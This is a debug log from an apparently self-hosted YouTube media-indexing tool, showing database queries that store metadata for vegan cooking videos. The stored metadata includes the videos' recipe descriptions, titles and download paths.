"id" ["We're making SOFRITAS from Chipotle! 🌶 This sofritas recipe is a spicy and saucy tofu recipe that will level up your burritos, tacos, nachos and more. If you love getting sofritas from Chipotle and want to know how to make them at home, check out the written recipe below! \n\n⭐️CHECK OUT MY OTHER MEXICAN-INSPIRED RECIPES! ⬇️\nPico de Gallo: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Pico\u00A0de\u00A0Gallo\u00A0that\u00A0you\u00A0need\u00A0to\u00A0make\u00A0\u00A0\nThe BEST Instant Pot Refried Beans: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Refried\u00A0Beans!\u00A0|\u00A0Instant\u00A0Pot\u00A0Refr...\u00A0\u00A0\nMy FAVE Guacamole Recipe: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0BEST\u00A0Guacamole\u00A0EVER!\u00A0🤯\u00A0\u00A0\n\nHow to press your tofu without a tofu press: Wrap up your tofu block in a kitchen towel, place a cutting board on top and place something heavy on top of it, let it press for 10 to 15 minutes.\n\nCHIPOTLE SOFRITAS RECIPE\n½ large onion, diced\n4 cloves garlic, minced\n1 block extra firm tofu\n1 tbsp neutral oil (or ¼ cup veggie broth)\nSauce ingredients:\n2 chipotle peppers in adobo sauce ➕ 1 tbsp of the sauce\n2 tbsp tomato paste\n1 tbsp maple syrup\n½ cup veggie broth\n1 tsp smoked paprika\n1 tsp oregano\n1 tsp cumin\n1 tsp chili powder\n¾ tsp sea salt\njuice of 1 large time \n\n1. Add all the sauce ingredients into a blender and blend on high speed for 30 seconds until smooth and saucy. Set aside for a few minutes.\n2. Heat the oil or broth in a skillet on medium-high heat and then add the garlic and onion. Using your hands crumble the block of tofu into the pan and stir to combine. Cook for 7 to 10 minutes, stirring frequently, to slightly brown the tofu.\n3. Turn the heat down to medium-low and pour the sauce over the tofu, stirring to combine. Let the sauce heat through for 3 or 4 minutes, making sure it doesn't dry up too much as you want the tofu nice and saucy.\n4. Remove from the heat and serve in burritos or burrito bowls, on tacos or nachos!\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Tofu Sofritas Recipe 🌶 The Ultimate Burrito Bowl Ingredient! Vegan and Gluten-Free Recipe", "357cc691-9d5c-43e9-a760-debf4f784275", 1, [], false, "RogTJEUhIlo", "https://www.youtube.com/watch?v=RogTJEUhIlo", 226, "/downloads/downloads/alec/Steamy Vegan/2024-01-23 Tofu Sofritas Recipe 🌶 The Ultimate Burrito Bowl Ingredient! Vegan and Gluten-Free Recipe/Tofu Sofritas Recipe 🌶 The Ultimate Burrito Bowl Ingredient! Vegan and Gluten-Free Recipe [RogTJEUhIlo].NA", false, false, false, 1, ~U[2024-01-23 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "We're making SOFRITAS from Chipotle! 🌶 This sofritas recipe is a spicy and saucy tofu recipe that will level up your burritos, tacos, nachos and more. If you love getting sofritas from Chipotle and want to know how to make them at home, check out the written recipe below! \n\n⭐️CHECK OUT MY OTHER MEXICAN-INSPIRED RECIPES! ⬇️\nPico de Gallo: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Pico\u00A0de\u00A0Gallo\u00A0that\u00A0you\u00A0need\u00A0to\u00A0make\u00A0\u00A0\nThe BEST Instant Pot Refried Beans: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Refried\u00A0Beans!\u00A0|\u00A0Instant\u00A0Pot\u00A0Refr...\u00A0\u00A0\nMy FAVE Guacamole Recipe: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0BEST\u00A0Guacamole\u00A0EVER!\u00A0🤯\u00A0\u00A0\n\nHow to press your tofu without a tofu press: Wrap up your tofu block in a kitchen towel, place a cutting board on top and place something heavy on top of it, let it press for 10 to 15 minutes.\n\nCHIPOTLE SOFRITAS RECIPE\n½ large onion, diced\n4 cloves garlic, minced\n1 block extra firm tofu\n1 tbsp neutral oil (or ¼ cup veggie broth)\nSauce ingredients:\n2 chipotle peppers in adobo sauce ➕ 1 tbsp of the sauce\n2 tbsp tomato paste\n1 tbsp maple syrup\n½ cup veggie broth\n1 tsp smoked paprika\n1 tsp oregano\n1 tsp cumin\n1 tsp chili powder\n¾ tsp sea salt\njuice of 1 large time \n\n1. Add all the sauce ingredients into a blender and blend on high speed for 30 seconds until smooth and saucy. Set aside for a few minutes.\n2. Heat the oil or broth in a skillet on medium-high heat and then add the garlic and onion. Using your hands crumble the block of tofu into the pan and stir to combine. Cook for 7 to 10 minutes, stirring frequently, to slightly brown the tofu.\n3. Turn the heat down to medium-low and pour the sauce over the tofu, stirring to combine. Let the sauce heat through for 3 or 4 minutes, making sure it doesn't dry up too much as you want the tofu nice and saucy.\n4. Remove from the heat and serve in burritos or burrito bowls, on tacos or nachos!\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Tofu Sofritas Recipe 🌶 The Ultimate Burrito Bowl Ingredient! Vegan and Gluten-Free Recipe", 1, nil, false, "RogTJEUhIlo", "https://www.youtube.com/watch?v=RogTJEUhIlo", "/downloads/downloads/alec/Steamy Vegan/2024-01-23 Tofu Sofritas Recipe 🌶 The Ultimate Burrito Bowl Ingredient! Vegan and Gluten-Free Recipe/Tofu Sofritas Recipe 🌶 The Ultimate Burrito Bowl Ingredient! Vegan and Gluten-Free Recipe [RogTJEUhIlo].NA", false, ~U[2024-01-23 00:00:00Z]] 20:31:07.760 [debug] QUERY OK source="sources" db=0.2ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.762 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=5.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-20 00:00:00Z], 1] 20:31:07.764 [debug] QUERY OK source="media_items" db=1.5ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I’m showing you some of the healthy, high-protein, vegan and gluten-free meals that I ate this week! I’m on a health journey in 2024 to lose weight, get fit and build muscle — who’s with me? 💪🏼🤩 I’m discovering more and more how it’s MORE than possible to get tons of protein on a plant-based diet and I’m HERE to show ya!\n\n1️⃣ Feeling soupy? Check out the full ‘SOUP RECIPES’ playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0SALADS\u00A0&\u00A0SIDES\u00A0\u00A0\n2️⃣ Need more high-protein recipes? Watch more in my ‘HEALTHY, HIGH-PROTEIN, 2GLUTEN-FREE RECIPES’ playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n3️⃣ Want to know what I REALISTICALLY eat in a day? Check out this playlist ➡️ ‘WHAT I EAT IN A DAY’ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n⭐️ALL RELEVANT RECIPES LINKED IN BRACKETS ⬇️\n\nDAY 1 \nBreakfast — High Protein Lentil Oatmeal with Blueberries and Apple \nPost Workout — Lime & Kale protein smoothie with silken tofu\nLunch — Sheet pan tofu & veg quinoa bowl\nDinner — Leftover pumpkin curry\n\nDAY 2\nBreakfast — Leftover lentil oatmeal with extra apple/blueberry sauce (\u00A0\u00A0\u00A0•\u00A06\u00A0Healthy\u00A0Breakfasts\u00A0I\u00A0Eat\u00A0Every\u00A0Week\u00A0as\u00A0a...\u00A0\u00A0)\nPost Workout — My go-to protein green smoothie\nLunch - Thai inspired coconut red curry noodle soup with tofu\nSnack — Medjool Dates & PB2\nDinner — Crispy Chick’n Caesar Quinoa Salad (\u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Quinoa\u00A0Recipes\u00A0I\u00A0Eat\u00A0Every\u00A0Week\u00A0...\u00A0\u00A0) \n\nDAY 3\nBreakfast — Tofu scramble, air fried potatoes, avocado & crispy chickpeas on lentil bread toast\nLunch — Shredded Tofu Soup (\u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Soups\u00A0I'm\u00A0Eat...\u00A0\u00A0)\nDinner — Baked Niçoise Salad (\u00A0\u00A0\u00A0•\u00A0HIGH\u00A0PROTEIN\u00A0VEGAN\u00A0NICOISE\u00A0SALAD!\u00A0French-i...\u00A0\u00A0) \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Week | Healthy High-Protein Vegan Meals to Start 2024 🎉", "2d1c686d-872e-42de-b5e0-e033ca378261", 1, [], false, "-Cr6GliOEf4", "https://www.youtube.com/watch?v=-Cr6GliOEf4", 227, "/downloads/downloads/alec/Steamy Vegan/2024-01-20 What I Eat in a Week | Healthy High-Protein Vegan Meals to Start 2024 🎉/What I Eat in a Week | Healthy High-Protein Vegan Meals to Start 2024 🎉 [-Cr6GliOEf4].NA", false, false, false, 1, ~U[2024-01-20 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I’m showing you some of the healthy, high-protein, vegan and gluten-free meals that I ate this week! I’m on a health journey in 2024 to lose weight, get fit and build muscle — who’s with me? 💪🏼🤩 I’m discovering more and more how it’s MORE than possible to get tons of protein on a plant-based diet and I’m HERE to show ya!\n\n1️⃣ Feeling soupy? Check out the full ‘SOUP RECIPES’ playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0SALADS\u00A0&\u00A0SIDES\u00A0\u00A0\n2️⃣ Need more high-protein recipes? Watch more in my ‘HEALTHY, HIGH-PROTEIN, 2GLUTEN-FREE RECIPES’ playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n3️⃣ Want to know what I REALISTICALLY eat in a day? Check out this playlist ➡️ ‘WHAT I EAT IN A DAY’ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n⭐️ALL RELEVANT RECIPES LINKED IN BRACKETS ⬇️\n\nDAY 1 \nBreakfast — High Protein Lentil Oatmeal with Blueberries and Apple \nPost Workout — Lime & Kale protein smoothie with silken tofu\nLunch — Sheet pan tofu & veg quinoa bowl\nDinner — Leftover pumpkin curry\n\nDAY 2\nBreakfast — Leftover lentil oatmeal with extra apple/blueberry sauce (\u00A0\u00A0\u00A0•\u00A06\u00A0Healthy\u00A0Breakfasts\u00A0I\u00A0Eat\u00A0Every\u00A0Week\u00A0as\u00A0a...\u00A0\u00A0)\nPost Workout — My go-to protein green smoothie\nLunch - Thai inspired coconut red curry noodle soup with tofu\nSnack — Medjool Dates & PB2\nDinner — Crispy Chick’n Caesar Quinoa Salad (\u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Quinoa\u00A0Recipes\u00A0I\u00A0Eat\u00A0Every\u00A0Week\u00A0...\u00A0\u00A0) \n\nDAY 3\nBreakfast — Tofu scramble, air fried potatoes, avocado & crispy chickpeas on lentil bread toast\nLunch — Shredded Tofu Soup (\u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0High-Protein\u00A0Vegan\u00A0Soups\u00A0I'm\u00A0Eat...\u00A0\u00A0)\nDinner — Baked Niçoise Salad (\u00A0\u00A0\u00A0•\u00A0HIGH\u00A0PROTEIN\u00A0VEGAN\u00A0NICOISE\u00A0SALAD!\u00A0French-i...\u00A0\u00A0) \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Week | Healthy High-Protein Vegan Meals to Start 2024 🎉", 1, nil, false, "-Cr6GliOEf4", "https://www.youtube.com/watch?v=-Cr6GliOEf4", "/downloads/downloads/alec/Steamy Vegan/2024-01-20 What I Eat in a Week | Healthy High-Protein Vegan Meals to Start 2024 🎉/What I Eat in a Week | Healthy High-Protein Vegan Meals to Start 2024 🎉 [-Cr6GliOEf4].NA", false, ~U[2024-01-20 00:00:00Z]] 20:31:07.765 [debug] QUERY OK source="sources" db=0.4ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.767 [debug] QUERY OK source="media_items" db=2.1ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-17 00:00:00Z], 1] 20:31:07.770 [debug] QUERY OK source="media_items" db=2.0ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video we're making 3 of my favourite go-to healthy high protein soups that will get you through the winter. These meal prep-friendly recipes will warm your SOUL and all while being packed full of protein. Plus I'll show you a crispy ingredient you're going to absolutely love and will want to put it on top of all your soups… and everything else!\n\n1️⃣ Feeling soupy? Check out the full ‘SOUP RECIPES’ playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0SALADS\u00A0&\u00A0SIDES\u00A0\u00A0\n2️⃣ Need more high-protein recipes? Watch more in my ‘HEALTHY, HIGH-PROTEIN, 2GLUTEN-FREE RECIPES’ playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n3️⃣ Want to know what I REALISTICALLY eat in a day? Check out this playlist ➡️ ‘WHAT I EAT IN A DAY’ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\nShredded Tofu Soup - 42 protein - 4 servings - 520 calories\n\n2 block extra firm tofu, shredded\n1 tsp avocado oil\nHalf a 28 oz can diced tomatoes\n1 cup cherry tomatoes, halved\n1 pound zucchini (2 medium), chopped\n1 cup frozen peas\n1 cup split red lentils\n5 cups of vegetable broth or water\n1 small onion, sliced\n1 carrot, diced\n5 cloves garlic, minced\n1 tsp dried oregano\n1 tsp dried basil\n1 tsp coriander \n½ tsp chipotle powder (plus extra ½ tsp)\n2 tsp smoked paprika (plus 1 extra tsp)\n3 tbsp nooch\nFresh basil, for serving\n\n1. Shred half a block of tofu and place in a separate mixing bowl with avocado oil, 1 tsp smoked paprika, ½ tsp chipotle powder, pinch of salt. Mix to combine. Spread in even layer in airfryer basket and airfare for 15 to 18 minutes at 400F until golden and crispy.\n2. Meanwhile, sauté the onion, garlic and carrot in a splash of water or broth until translucent and golden.\n3. Blend the diced tomatoes with 1 cup of the broth (or water), set aside.\n4. Stir in the paprika, oregano and dried basil and let toast for 2 minutes.\n5. Stir in the dried red lentils and let toast for 1 minute, stirring frequently.\n6. Add the shredded tofu, blended tomatoes, cherry tomatoes, zucchini, and vegetable broth and stir to combine. Bring to a boil and let cook for 10 minutes.\n7. Stir in the frozen peas and nooch and let cook for another 5 minutes.\n8. Season with salt and pepper to taste, and serve with the crispy tofu fresh chopped basil or other herbs (cilantro, parsley, dill)\n\n\nSuper Green Pea Soup - 24g protein - 3 servings - 330 calories\n\n½ yellow onion or 1 small, diced\n4 cloves garlic, minced\n⅓ cup fresh herbs (parsley, dill, basil, cilantro) minced\n½ tsp red chili flakes\n3 cups frozen peas, slightly thawed\n3 cups frozen edamame, slightly thawed\n4 cups veggie broth, hot\n2 packed cups chopped spinach or kale\nSalt and pepper to taste\nchopped avocado for serving\nCoconut milk for serving\n\n1. Warm a tbsp of oil or ¼ cup of water in a stockpot on medium heat, and saute the onion and garlic until softened and fragrant, about 2 to 3 minutes.\n2. Add the chopped fresh herbs and cook for 1 minute.\n3. Add the frozen peas and edamame, red chili flakes and hot veggie broth and stir to combine. Cover with a lid, bring to a boil, then reduce to medium heat and cook for 6 to 8 minutes.\n4. Stir in the chopped spinach or kale and cook for 2 minutes. Using an immersion blender, blend the soup until completely smooth and creamy. Alternatively, you can ladle the soup into a high-speed blender and blend on high speed for 60 seconds, then pour the soup back into the pot. \n5. Season with salt and pepper to taste and serve. Garnish with a drizzle of coconut milk, fresh dill, red chili flakes and chopped avocado and enjoy!\n\n\nSteamy Vegan Black Bean Chilli - 36g protein - 4 servings - 545 calories\n\n3 cans black beans, drained and rinsed (about 5 cups)\n1 cup dry red lentils\n1 26 oz. can diced tomatoes\n¼ cup pickled jalapeños \n4 cups hot veggie broth\n2 large red bell peppers, roughly chopped\n1 medium or 2 small yellow onions, diced\n4 cloves garlic, minced\n4 large cremini or white mushrooms, roughly chopped\n1 tbsp cocoa powder\n1 tbsp chili or chipotle powder\nSalt and pepper to taste\n\n1. Warm 1 tbsp oil or ¼ cup water in a large stockpot and saute the onion for 2 to 3 minutes, until becoming translucent " <> ..., "3 Healthy High-Protein Vegan Soups I'm Eating This Winter ❄️", "e3af43c5-92eb-4bd3-be0e-61d852fbf817", 1, [], false, "vRZxz4GpPzM", "https://www.youtube.com/watch?v=vRZxz4GpPzM", 228, "/downloads/downloads/alec/Steamy Vegan/2024-01-17 3 Healthy High-Protein Vegan Soups I'm Eating This Winter ❄️/3 Healthy High-Protein Vegan Soups I'm Eating This Winter ❄️ [vRZxz4GpPzM].NA", false, false, false, 1, ~U[2024-01-17 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video we're making 3 of my favourite go-to healthy high protein soups that will get you through the winter. These meal prep-friendly recipes will warm your SOUL and all while being packed full of protein. Plus I'll show you a crispy ingredient you're going to absolutely love and will want to put it on top of all your soups… and everything else!\n\n1️⃣ Feeling soupy? Check out the full ‘SOUP RECIPES’ playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0SALADS\u00A0&\u00A0SIDES\u00A0\u00A0\n2️⃣ Need more high-protein recipes? Watch more in my ‘HEALTHY, HIGH-PROTEIN, 2GLUTEN-FREE RECIPES’ playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n3️⃣ Want to know what I REALISTICALLY eat in a day? Check out this playlist ➡️ ‘WHAT I EAT IN A DAY’ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\nShredded Tofu Soup - 42 protein - 4 servings - 520 calories\n\n2 block extra firm tofu, shredded\n1 tsp avocado oil\nHalf a 28 oz can diced tomatoes\n1 cup cherry tomatoes, halved\n1 pound zucchini (2 medium), chopped\n1 cup frozen peas\n1 cup split red lentils\n5 cups of vegetable broth or water\n1 small onion, sliced\n1 carrot, diced\n5 cloves garlic, minced\n1 tsp dried oregano\n1 tsp dried basil\n1 tsp coriander \n½ tsp chipotle powder (plus extra ½ tsp)\n2 tsp smoked paprika (plus 1 extra tsp)\n3 tbsp nooch\nFresh basil, for serving\n\n1. Shred half a block of tofu and place in a separate mixing bowl with avocado oil, 1 tsp smoked paprika, ½ tsp chipotle powder, pinch of salt. Mix to combine. Spread in even layer in airfryer basket and airfare for 15 to 18 minutes at 400F until golden and crispy.\n2. Meanwhile, sauté the onion, garlic and carrot in a splash of water or broth until translucent and golden.\n3. Blend the diced tomatoes with 1 cup of the broth (or water), set aside.\n4. Stir in the paprika, oregano and dried basil and let toast for 2 minutes.\n5. Stir in the dried red lentils and let toast for 1 minute, stirring frequently.\n6. Add the shredded tofu, blended tomatoes, cherry tomatoes, zucchini, and vegetable broth and stir to combine. Bring to a boil and let cook for 10 minutes.\n7. Stir in the frozen peas and nooch and let cook for another 5 minutes.\n8. Season with salt and pepper to taste, and serve with the crispy tofu fresh chopped basil or other herbs (cilantro, parsley, dill)\n\n\nSuper Green Pea S (truncated) 20:31:07.772 [debug] QUERY OK source="sources" db=0.7ms queue=0.4ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.774 [debug] QUERY OK source="media_items" db=1.7ms idle=7.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-13 00:00:00Z], 1] 20:31:07.776 [debug] QUERY OK source="media_items" db=1.6ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I’m gonna show you some healthy vegan high-protein dinner recipes that I eat all the time! Filling, delicious and made with whole plant foods, these healthy recipes are perfect for you if you’re looking for variety, all while keeping things high-protein, gluten-free and totally vegan!\n\nCheck out my entire HIGH-PROTEIN, HEALTHY & GLUTEN-FREE RECIPES playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\n\nLAZY 10 MINUTE NOODLE BOWL\n\u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0LUNCH\u00A0RECIPES\u00A0FOR\u00A0BEGINNERS\u00A0🌱\u00A0W...\u00A0\u00A0\n\nBUTTER CHICKPEAS\n\u00A0\u00A0\u00A0•\u00A0BUTTER\u00A0CHICKPEAS\u00A0|\u00A0Vegan\u00A0Butter\u00A0Chicken\u00A0Al...\u00A0\u00A0\n\nTOFU POKE BOWL\n\u00A0\u00A0\u00A0•\u00A0LAZY\u00A0Vegan\u00A0Poke\u00A0Bowl\u00A0in\u00A0UNDER\u00A010\u00A0MINUTES!\u00A0...\u00A0\u00A0\n\n\nROASTED WINTER VEGGIE SALAD\n\u00A0\u00A0\u00A0•\u00A0ROASTED\u00A0CARROT,\u00A0BEET\u00A0&\u00A0BRUSSELS\u00A0SALAD\u00A0|\u00A0Si...\u00A0\u00A0\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "4 Healthy Vegan High-Protein Dinner Recipes I Eat on the Regular (What I Eat in a Week)", "65681990-f20a-4f92-a1ee-f560a3478a72", 1, [], false, "xE1uqxsyCp8", "https://www.youtube.com/watch?v=xE1uqxsyCp8", 229, "/downloads/downloads/alec/Steamy Vegan/2024-01-13 4 Healthy Vegan High-Protein Dinner Recipes I Eat on the Regular (What I Eat in a Week)/4 Healthy Vegan High-Protein Dinner Recipes I Eat on the Regular (What I Eat in a Week) [xE1uqxsyCp8].NA", false, false, false, 1, ~U[2024-01-13 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I’m gonna show you some healthy vegan high-protein dinner recipes that I eat all the time! Filling, delicious and made with whole plant foods, these healthy recipes are perfect for you if you’re looking for variety, all while keeping things high-protein, gluten-free and totally vegan!\n\nCheck out my entire HIGH-PROTEIN, HEALTHY & GLUTEN-FREE RECIPES playlist here! ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\n\nLAZY 10 MINUTE NOODLE BOWL\n\u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0LUNCH\u00A0RECIPES\u00A0FOR\u00A0BEGINNERS\u00A0🌱\u00A0W...\u00A0\u00A0\n\nBUTTER CHICKPEAS\n\u00A0\u00A0\u00A0•\u00A0BUTTER\u00A0CHICKPEAS\u00A0|\u00A0Vegan\u00A0Butter\u00A0Chicken\u00A0Al...\u00A0\u00A0\n\nTOFU POKE BOWL\n\u00A0\u00A0\u00A0•\u00A0LAZY\u00A0Vegan\u00A0Poke\u00A0Bowl\u00A0in\u00A0UNDER\u00A010\u00A0MINUTES!\u00A0...\u00A0\u00A0\n\n\nROASTED WINTER VEGGIE SALAD\n\u00A0\u00A0\u00A0•\u00A0ROASTED\u00A0CARROT,\u00A0BEET\u00A0&\u00A0BRUSSELS\u00A0SALAD\u00A0|\u00A0Si...\u00A0\u00A0\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "4 Healthy Vegan High-Protein Dinner Recipes I Eat on the Regular (What I Eat in a Week)", 1, nil, false, "xE1uqxsyCp8", "https://www.youtube.com/watch?v=xE1uqxsyCp8", "/downloads/downloads/alec/Steamy Vegan/2024-01-13 4 Healthy Vegan High-Protein Dinner Recipes I Eat on the Regular (What I Eat in a Week)/4 Healthy Vegan High-Protein Dinner Recipes I Eat on the Regular (What I Eat in a Week) 